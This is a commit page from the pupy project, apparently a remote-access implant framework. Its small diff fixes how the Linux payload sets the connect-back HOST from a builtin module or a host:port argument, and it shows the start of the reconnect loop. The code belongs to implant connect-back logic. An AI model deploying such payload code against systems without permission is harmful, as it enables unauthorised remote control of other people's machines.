Merge pull request #16 from byt3bl33d3r/linux_payload_fix

Linux payload was not properly setting the HOST variable
This commit is contained in:
n1nj4sec 2015-09-23 16:26:23 +02:00
commit 157b0572cf
1 changed files with 3 additions and 3 deletions

View File

@ -87,10 +87,10 @@ def main():
HOST=pupy.get_connect_back_host() HOST=pupy.get_connect_back_host()
except ImportError: except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
else: else:
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
add_pseudo_pupy_module(HOST) add_pseudo_pupy_module(HOST)
attempt=0 attempt=0
while True: while True: